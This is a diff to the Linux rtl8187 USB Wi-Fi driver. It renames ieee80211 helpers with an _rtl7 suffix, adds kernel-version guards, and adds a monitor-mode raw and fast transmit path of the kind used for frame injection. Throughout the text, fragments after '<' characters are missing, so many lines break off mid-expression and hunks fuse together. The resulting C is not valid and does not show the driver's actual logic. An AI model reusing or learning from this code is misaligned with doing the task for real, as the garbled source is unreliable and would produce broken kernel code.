IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1384,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1409,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1422,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1435,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1477,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1494,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1593,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1604,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1625,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1652,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1679,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1720,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1767,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1827,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1875,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1884,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1967,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2002,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2031,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2121,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2187,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2210,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2224,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); 